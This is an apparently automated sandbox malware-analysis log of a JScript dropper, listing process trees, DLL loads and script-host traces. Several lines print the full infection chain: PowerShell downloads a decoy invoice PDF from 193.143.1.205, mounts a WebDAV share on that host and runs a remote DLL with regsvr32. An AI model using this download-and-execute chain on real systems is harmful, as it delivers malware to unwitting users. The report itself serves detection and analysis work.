Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\25657914731825.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215
Source: unknown	Process created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2064 --field-trial-handle=1692,i,872176090772695585,7218028360287042238,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\25657914731825.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2064 --field-trial-handle=1692,i,872176090772695585,7218028360287042238,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior

Source: C:\Windows\System32\wscript.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sxs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: jscript.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrobj.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrrun.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: pcacli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: drprov.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winsta.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: ntlanman.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: davclnt.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: davhlpr.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: qmgr.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsperf.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: xmllite.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: firewallapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: esent.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: umpdc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwbase.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: flightsettings.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netprofm.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: npmproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsigd.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: upnp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ssdpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: appxdeploymentclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmauto.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: miutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmsvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dsrole.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: pcwum.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msv1_0.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntlmshared.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptdll.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rmclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: usermgrcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: twinapi.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: resourcepolicyclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vssapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vsstrace.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: samlib.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: es.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mpr.dll	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{f414c260-6ac0-11cf-b6d1-00aa00bbbb58}\InprocServer32

Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File opened: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll

Jump to behavior

Data Obfuscation

JScript performs obfuscated calls to suspicious functions

Source: C:\Windows\System32\wscript.exe

Anti Malware Scan Interface: WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:38 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:36 o: f:RegRead a0:%22HKEY_CURRENT_USER%5CControl%20Panel%5CInternational%5CLocale%22");IWshShell3.RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale");IHost.CreateObject("Scripting.FileSystemObject");IFileSystem3.CreateTextFile("Z:\syscalls\233.js.csv");ITextStream.WriteLine(" entry:7568 f:crvqrre");ITextStream.WriteLine(" exec:2 f:crvqrre");IHost.Name();ITextStream.WriteLine(" entry:38 o:Windows%20Script%20Host f:CreateObject a0:%22WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:38 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:36 o: f:RegRead a0:%22HKEY_CURRENT_USER%5CControl%20Panel%5CInternational%5CLocale%22");IWshShell3.RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale");IWshShell3._00000000();ITextStream.WriteLine(" exit:36 o: f:RegRead r:%2200000C00%22");ITextStream.WriteLine(" entry:16 o: f:parseInt a0:%2200000C00%22 a1:16");ITextStream.WriteLine(" exit:16 o: f:parseInt r:3072");IHost.Name();ITextStream.WriteLine(" entry:306 o:Windows%20Script%20Host f:CreateObject a0:%22WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:306 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:304 o: f:run a0:%22cmd%20%2Fc%20powershell.exe%20-Command%20%22Invoke-WebRequest%20-OutFile%20%25temp%25%5Cinvoice.pdf%20http%3A%2F%2F193.143.1.205%2Finvoice.php%22%26%26start%20%25temp%25%5Cinvoice.pdf%26%26cmd%20%2Fc");IWshShell3.Run("cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\invoice.", "0", "false")

Suspicious powershell command line found

Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"			Jump to behavior

Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
